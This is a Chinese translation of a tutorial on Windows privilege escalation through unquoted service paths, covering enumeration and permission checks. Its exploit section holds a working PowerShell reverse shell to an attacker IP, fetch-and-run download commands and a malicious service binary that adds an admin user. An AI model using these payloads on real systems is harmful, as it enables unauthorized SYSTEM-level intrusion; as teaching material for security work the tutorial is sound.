本文通过 Google 翻译 Unquoted Service Paths – Windows Privilege Escalation 这篇文章所产生,本人仅是对机器翻译中部分表达别扭的字词进行了校正及个别注释补充。


导航


0、前言

在 Windows 提权技术中,最常见的提权方式是利用服务的错误配置。而服务错误配置的方式有很多,但迄今为止最有趣的还得是服务路径未被引用。在这篇文章中,我们将看到由薄弱的目录权限带有空格和无引号的服务路径组合在一起之后是如何使得用户权限从标准用户被提升到了本地 SYSTEM。

首先,我们使用手动技术和自动工具去枚举发现未引用的服务路径。其次,通过进一步枚举,确定我们是否拥有路径中某个目录的写入权限。然后,通过手工自制一个反向 shell 的程序,并在攻击者机器上完成编译。最后,我们会将这个自制程序传输到受害者的特定目录下,并重启系统以获得 SYSTEM shell。

1、未引用的服务路径漏洞原理

未加引号的服务路径漏洞是指:当 Windows 在启动服务时,如果服务的可执行文件路径中包含有空格,但整个路径又未使用双引号包裹。此时,系统便会按照路径优先级逐层查找可执行文件。例如:

假设一个服务的路径是 C:\Program Files\Juggernaut Prod\Production Tools\Juggernaut.exe。此时,Windows 可能会按照以下顺序逐个尝试查找并执行服务启动程序。

  • C:\Program.exe
  • C:\Program Files\Juggernaut.exe
  • C:\Program Files\Juggernaut Prod\Production.exe
  • C:\Program Files\Juggernaut Prod\Production Tools\Juggernaut.exe

这意味着,如果我们有权限在实际的可执行文件位置之前的三个目录中的任何一个中写入内容,那我们就可以制作一个可执行文件,并根据路径中的名称为其命名,就像上面的例子一样。之后,当服务启动时,它将执行我们的恶意程序,而不是预定的程序。

如果我们可以写入 C:\,我们将制作一个名为 Program.exe 的可执行文件,并将其放入 C:\;如果我们能写入 C:\Program Files,我们就会制作一个名为 Juggernaut.exe 的可执行文件,并将其放入 C:\Program Files。以此类推...

2、搜寻未引用的服务路径

在此示例中,假设我们作为标准用户 cmarko 已在目标机器上获得了立足点。

在获得立足点之后的首要事情便是通过 whoami /priv 命令检查当前用户的特权。

可以看到用户 cmarko 拥有 SeShutdownPrivilege 权限,而这一点在稍后利用服务获取 SYSTEM shell 时非常重要,因为需要以重启主机的方式重启服务。【因为在大多数情况下,虽然我们有能力滥用服务,但却没有停止和启动服务的权限。而如果服务是自启动的,那我们就可以利用重启机器来重启服务。】

在有了立足点之后,我们就可以利用内置命令手动枚举系统中任何未引用的服务路径,或者也可以利用工具来查找这些错误配置。

2.1、枚举未引用的服务路径-手动

可以使用 cmd.exe 和 PowerShell 手动查找系统中任何未引用的服务路径。

在 cmd 中的命令如下:

wmic service get name,displayname,startmode,pathname | findstr /i /v "C:\Windows\\" |findstr /i /v """

在上述命令中,我们使用 wmic 查询服务并提取了我们感兴趣的信息。同时还使用 findstr 命令过滤掉了以 C:\Windows 开头的目录中的任何结果,因为在这些目录中即便发现了错误配置我们也没有写入权限。而第二个 findstr 命令会筛选任何包含双引号的结果。

在 PowerShell 中的等效命令如下:

Get-WmiObject -class Win32_Service -Property Name, DisplayName, PathName, StartMode | Where {$_.PathName -notlike "C:\Windows*" -and $_.PathName -notlike '"*'} | select Name,DisplayName,StartMode,PathName

经过上面这两个命令的查询发现,Juggernaut 服务具有未引用的服务路径,并且该服务是自启动服务。

2.2、枚举未引用的服务路径-工具

有很多后利用工具和脚本可使用,但在本例中,我们将坚持使用 PowerUp.ps1winPEASx64.exe

在下载每个工具的副本之后,我们将其转移到受害者机器。

2.2.1、PowerUp.ps1

在此例中,我们先将以下命令附加到 PowerUp.ps1 脚本的底部:

echo 'Invoke-AllChecks' >> PowerUp.ps1

接着,在脚本的当前目录下启动 HTTP 服务器。

python3 -m http.server 80

然后,使用命令 powershell -ep bypass 进入受害者 shell 上的 PowerShell 会话中,再使用以下命令将 PowerUp.ps1 直接下载到内存中并执行脚本:

iex(new-object net.webclient).downloadstring('http://172.16.1.30/PowerUp.ps1')

在这里,可以看到 PowerUp 能够为我们枚举这种错误配置的服务。此外,PowerUp.ps1 还内置函数可以用来滥用它发现的大多数错误配置。不过,需要指出的是,当 PowerUp 发现一个未引用的服务路径时,并不一定就意味着它是“易受攻击的”,因为 PowerUp 只是识别了错误配置,然后在假定在未引用的服务路径可被利用的情况下提供了一个 AbuseFunction,具体能否利用还是需要自己去判断。【注:滥用操作在本文的第 6 节讲述】

2.2.2、winPEAS

接下来开始 winPEAS 工具的使用,首先需要下载 winPEAS 的副本并传输到受害者机器上。

certutil -split -f -urlcache "http://172.16.1.30/winPEASx64.exe"

在受害者机器上执行 winPEAS 之后,会发现 winPEAS 会输出大量的信息让人很容易犯迷糊,因此避免迷糊的关键在于要清楚我们要找的信息所在的标识位置。对于未引用的服务路径,我们要检查“Services Information”部分。这里会为我们提供有关服务名称、服务启动程序路径和启动类型等信息。

此外,如果我们继续向下查看 PEAS 的输出结果,就会发现它还枚举了在未引用路径上哪些目录我们具有写入权限。

毫无疑问,winPEAS 的能力实在是令人难以置信。但是,如果你要从输出的内容中获取到有用的信息的话,还是要多锻炼锻炼。

3、沿着服务路径枚举目录权限

目前,我们已经发现了未引用的服务路径,但仍无法确定它是否真的脆弱。为此,可以使用内置命令 icacls 或 Get-Acl 来检查沿着服务路径上每一层目录的权限,另外,也还会使用外部工具 accesschk.exe 来检查。

3.1、cmd.exe(icacls)

首先,在 cmd 会话中使用内置命令 icacls 来检查目录和文件的 ACL 的权限。而为了能理解 icacls 命令输出的信息,我们需要了解以下关于权限和用户组相关的知识:

【知识1】:我们要查找的目录权限只要是以下三种权限中的任意一种均可:

  • (F) Full Control【完全控制】
  • (M) Modify【修改】
  • (W) Write【写入】

【知识2】:我们会经常见到的用户/组如下:

  • 当前登录用户,如 bob。
  • Authenticated Users【注:通过 控制台、RDP、WinRM、SMB 登录系统的用户都属于已认证用户。】
  • Everyone
  • BUILTIN\Users
  • NT AUTHORITY\INTERACTIVE

接下来,我们打算从左到右开始目录的权限检查,例如:

icacls C:\
icacls "C:\Program Files"
icacls "C:\Program Files\Juggernaut Prod"

可以看到,沿着未引用的文件路径我们找到了可写目录,而这就是可以进行恶意操作的地方!

关于上面的输出内容,这里有三点需要提及一下:

  • 第一,我们经常会看到通过身份验证的用户在默认情况下拥有对 C:\ 的修改权限。然而,这其实是一种特殊的高级权限,它实际上只允许在该位置创建子目录,而无法向其中写入可执行文件或任何文件
  • 第二,通常情况下,我们是无法将文件写入 C:\C:\Program Files,但依旧值得去尝试检查一下,万一用户误配置呢。【注:只有本地管理员组的用户在高完整性 shell 中才能在这些目录中写入文件。】
  • 第三,为什么我们不直接检查路径中的最后一个目录?因为那是包含实际服务启动程序的目录。而如果在那里有写入权限,那这就是服务的弱权限文件漏洞了,而不需要使用未引用的服务路径来利用它。

就简单测试来说,当我们试图将 EXE 文件或 TXT 文件移动或写入到 C:\ 时,我们会被提示拒绝访问。

3.2、PowerShell(Get-ACL)

也可以在 PowerShell 会话中使用以下命令执行相同的枚举:

Get-Acl -Path C:\ | Format-List
Get-Acl -Path "C:\Program Files" | Format-List
Get-Acl -Path "C:\Program Files\Juggernaut Prod" | Format-List

在上面我们可以看到,它并没有像 icacls 那样在 C:\ 上显示“Modify”。相反,它提供了 "访问掩码格式",上面的数字其实也就是 “Modify”的数字表示形式。

注:Get-Acl -Path C:\ | Format-ListGet-Acl -Path C: | Format-List 输出的结果还是有所不同。主要是由于 C:\C: 在 Windows 文件系统中有着不同的语义,C:\ 代表完整的根目录路径,而 C: 仅表示 C 盘当前所在的活动工作目录,一般是 C:\Users\YourName,但也不绝对。

3.3、accesschk

接下来,使用 Sysinternals 工具套件的 Accesschk64.exe 工具来对目录权限进行查看。

将 accesschk64.exe 的副本下载并传输到受害者机器上。

然后使用以下命令来枚举相同的目录:

.\accesschk64.exe -wvud "C:\" -accepteula
.\accesschk64.exe -wvud "C:\Program Files" -accepteula
.\accesschk64.exe -wvud "C:\Program Files\Juggernaut Prod" -accepteula

从上面可以看到,accesschk 为我们提供了关于 C:\ 目录上最准确的权限说明,即 当前用户虽然拥有 W 写访问权限,但实际仅限于创建文件夹 (FILE_ADD_SUBDIRECTORY)。

由于当前用户不能在 C:\Program Files 目录中写入文件, 再加上 accesschk64.exe -w 选项只过滤写访问的原因,所以在上面的输出中我们并不能看到有关标准用户的任何结果。

最后,在上面可以看到,标准用户拥有大量的 FILE_WRITE 和 FILE_ADD 权限,但并没有显示“完全访问”。这可以推断为修改权限。

3.4、winPEAS

之前在使用 winPEAS 时,看到“Service Information”部分有一个未引用的服务路径。

从那里开始继续向下滚动到“Application Information”部分,然后检查“Installed Applications”子部分。如果我们能够利用该服务,那么就能从这里找到拥有写入权限的未引用服务路径中的那个目录。

如果在这部分中没有找到与我们发现的未引用服务路径相关联的可写目录,那么我们很可能也无法利用该服务。如果出现了这种情况,那么在彻底排除这一发现之前,仍应继续使用上述其它的手动方法继续确认,以防误报。

4、自制反向 shell 载荷

截至目前,我们发现的信息有:

  • 有一个服务存在未引用的服务路径,路径是 C:\Program Files\Juggernaut Prod\Production Tools\Juggernaut.exe
  • 该服务是开机自启动服务,且当前用户具有 SeShutdown 特权。
  • 当前用户可以在 C:\Program Files\Juggernaut Prod\ 目录写入文件。

这种权限升级技术的下一步便是制作一个自定义漏洞利用程序,并将其放在 C:\Program Files\Juggernaut Prod\ 中。为此,我制作了一个自定义可执行文件,它可以在攻击者的机器上直接编译。

#include <windows.h>
#include <stdio.h> int main(){
system("whoami >> C:\\temp\\whoami.txt");
return 0;
}

可以看到,我们的可执行文件将运行 whoami 命令,并将输出结果重定向到一个文件。虽然这是一个很酷的 POC,但我们真正想要的是一个反向 shell。

为此,让我们编辑此脚本中的 whoami 命令并将其替换为下面的 PowerShell 1-liner 命令,这样就能在执行该命令时获得一个反向 shell:

"powershell.exe -nop -c \"$client = New-Object System.Net.Sockets.TCPClient('172.16.1.30',443);$stream = $client.GetStream();[byte[]]$bytes = 0..65535|%{0};while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){;$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);$sendback = (iex $data 2>&1 | Out-String );$sendback2 = $sendback + 'PS ' + (pwd).Path + '> ';$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()};$client.Close()\""

注:脚本中的 IP 为攻击者机器的 IP 地址。

请注意,上述的 PowerShell 命令周围的双引号旁边的转义字符是需要存在的。这是为了让代码将它们读作字面上的双引号,因为如果没有双引号,代码将无法编译,或者即使编译了也无法运行。

现在 exploit.c 文件可以编译了,可以使用 mingw-w64 或以下命令直接在攻击者机器上编译它:

x86_64-w64-mingw32-gcc exploit.c -o Production.exe

编译完成之后便可将恶意程序传输到受害者机器。

5、利用未引用的服务路径

接下来,只需将漏洞利用程序移到 "C:\Program Files\Juggernaut Prod " 目录中,然后在攻击者机器上启动 443 端口的 netcat 监听器,最后重启受害者机器即可。

重新启动计算机可以使用以下命令:

shutdown /r /t 0 /f

回到监听器,我们就得到了一个 SYSTEM shell!

有时候在回到监听器的时候发现好像并没有发生什么变化,也没有出现任何提示,这时只需按下回车键,提示就会出现。

6、滥用 PowerUp.ps1 功能

之前在 2.2.1 小节的时候,当我们使用 PowerUp.ps1 枚举未引用的服务路径时,它显示有 AbuseFunction (滥用)字段。现在,我们可以用它来利用这个漏洞。

使用此 AbuseFunction 将会在当前目录下创建一个恶意程序,而运行该程序将会创建一个新用户,并将该用户归入管理员组。【注:以当前普通用户的身份单独执行该程序是不起作用的。】

Write-ServiceBinary -ServiceName 'Juggernaut'

此时,我们需要将上述生成 service.exe 程序写入 "C:\Program Files\Juggernaut Prod" ,然后将其重命名为 Production.exe。

现在,当我们重启系统并回到之前的反向 shell 时,可以看到新的用户已创建并被添加到了本地管理员组!

此时,如果很幸运发现目标系统的 RDP 服务是打开的,那我们就可以使用 xfreerdp 进行 RDP 登录,然后以“以管理员身份运行”打开 cmd,进入到具有完全权限的高完整性 shell 中。

sudo xfreerdp /u:john /p:'Password123!' /v:172.16.1.50 +clipboard

但是,如果目标没有打开 RDP 服务。此时,我们就需要通过 RunasUAC-bypass 技术来获取管理员高完整性 shell。

Windows 提权-服务_未引用的服务路径的更多相关文章

  1. 35.windows提权总结

    本文参考自冷逸大佬的博客,源地址在这里:https://lengjibo.github.io/windows%E6%8F%90%E6%9D%83%E6%80%BB%E7%BB%93/ windows提 ...

  2. 「白帽黑客成长记」Windows提权基本原理(下)

    上一篇文章我们介绍了信息收集方法和WMIC,今天我们将跟随作者深入学习Windows提权基本原理的内容,希望通过这两篇文章的讲解,大家能够真正掌握这个技能. 推荐阅读:「白帽黑客成长记」Windows ...

  3. [转帖]「白帽黑客成长记」Windows提权基本原理(下)

    「白帽黑客成长记」Windows提权基本原理(下) https://www.cnblogs.com/ichunqiu/p/10968674.html 提权.. 之前还在想 为什么 我的 sqlserv ...

  4. Windows提权小结

    摸鱼的时候,想想内网这部分还有什么地方适合水一下,翻翻往期,开始填坑 总结一下Windows提权的部分,以后有时间再补一下Linux提权 这仍然是一篇思路总结类的随笔,具体细节内容不展开,也展开不了. ...

  5. 「白帽黑客成长记」Windows提权基本原理(上)

    我们通常认为配置得当的Windows是安全的,事实真的是这样吗?今天让我们跟随本文作者一起深入了解Windows操作系统的黑暗角落,看看是否能得到SYSTEM权限. 作者将使用不同版本的Windows ...

  6. [转帖]「白帽黑客成长记」Windows提权基本原理(上)

    「白帽黑客成长记」Windows提权基本原理(上) https://www.cnblogs.com/ichunqiu/p/10949592.html 我们通常认为配置得当的Windows是安全的,事实 ...

  7. 2017-2018-2 20155315《网络对抗技术》免考五:Windows提权

    原理 使用metasploit使目标机成功回连之后,要进一步攻击就需要提升操作权限.对于版本较低的Windows系统,在回连的时候使用getsystem提权是可以成功的,但是对于更高的系统操作就会被拒 ...

  8. MySQL 安装和启动服务,“本地计算机 上的 MySQL 服务启动后停止。某些服务在未由其他服务或程序使用时将自动停止。”

    MySQL 安装和启动服务,以及遇到的问题 MySQL版本: mysql-5.7.13-winx64.zip (免安装,解压放到程序文件夹即可,比如 C:\Program Files\mysql-5. ...

  9. 本地计算机上的XXX服务启动后停止。某些服务在未由其它服务或程序使用时将自动停止。咋整?

    用C#写个windows服务,安装部署后去启动时,提示说“本地计算机上的XXX服务启动后停止.某些服务在未由其它服务或程序使用时将自动停止”.咋整?就像下面酱紫: 度娘说不知道咋整,我想把程序附加到w ...

  10. 本地计算机上的MySQL服务启动后停止。某些服务在未由其他服务或程序使用时将自动

    重新安装MySQL数据库,由于安装的时候马虎,一路next(事实上,某些地方需要严格的配置,我忘记注意了),导致现在出了很多麻烦. 错误信息: 本地计算机上的MySQL服务启动后停止.某些服务在未由其 ...

随机推荐

  1. Linux 下挂载群晖 NAS 硬盘拓展空间(NFS)

    在群晖 NAS 上配置 开启 NFS 服务 打开群晖的 设置 - 文件服务 - NFS,把 NFS 服务勾选上,协议选最新即可. 配置文件夹的 NFS 权限 在 设置 - 共享文件夹 下,选择需要开启 ...

  2. ERROR: SSL peer shut down incorrectly错误解决(Android Studio)

    错误信息:ERROR: SSL peer shut down incorrectly错误解决(Android Studio) 错误原因:android studio在下载"gradle-4. ...

  3. 阿里IM技术分享(七):闲鱼IM的在线、离线聊天数据同步机制优化实践

    本文由阿里闲鱼技术团队书闲分享,原题"如何有效缩短闲鱼消息处理时长",有修订和改动,感谢作者的分享. 1.引言 闲鱼技术团队围绕IM这个技术范畴,已经分享了好几篇实践性总结文章,本 ...

  4. 基于开源IM即时通讯框架MobileIMSDK:RainbowChat v8.1版已发布

    关于MobileIMSDK MobileIMSDK 是一套专门为移动端开发的开源IM即时通讯框架,超轻量级.高度提炼,一套API优雅支持UDP .TCP .WebSocket 三种协议,支持iOS.A ...

  5. SpringBoot集成开源IM框架MobileIMSDK,实现即时通讯IM聊天功能

    一.前言 MobileIMSDK 是什么? MobileIMSDK  是一套专门为移动端开发的开源IM即时通讯框架,超轻量级.高度提炼,一套API优雅支持UDP .TCP .WebSocket 三种协 ...

  6. Android RNDIS gadget Windows免驱修改方案

    过程简单粗暴,拿到竞品的设备,然后使用UsbTreeView查看设备的相关描述符. 对比发现接口抽象描述符和接口描述符不一致,直接修改Linux RNDIS gadget 驱动,将驱动中有关的两个描述 ...

  7. IT审计(ITAC)问题:SAP系统销售流程对于发货单和销售发票容差的配置

    IT审计(ITAC)问题:SAP系统销售流程对于发货单和销售发票容差的配置 起因: 在ITAC审计的时候,针对销售流程的控制,问了两个问题 SAP系统销售流程的发货单和销售发票基于销售订单生成的相关配 ...

  8. 通过WebView2获取HTTP-only cookie

    通过WebView2获取HTTP-only cookie可以使用`WebView2.CookieManager`类的方法.以下是一个示例代码,演示如何获取HTTP-only cookie: using ...

  9. java多线程---总结(2)

    ThreadPoolExecutor 官方API解释线程池的好处: (1)通过重用线程池中的线程,来减少每个线程创建和销毁的性能开销. (2)对线程进行一些维护和管理,比如定时开始,周期执行,并发数控 ...

  10. 如何使用C++ STL中的链表list

    1.声明链表 list<数据类型> 链表名称: 比如: list<int> listName;  //创建一个空链表listName list<int> listN ...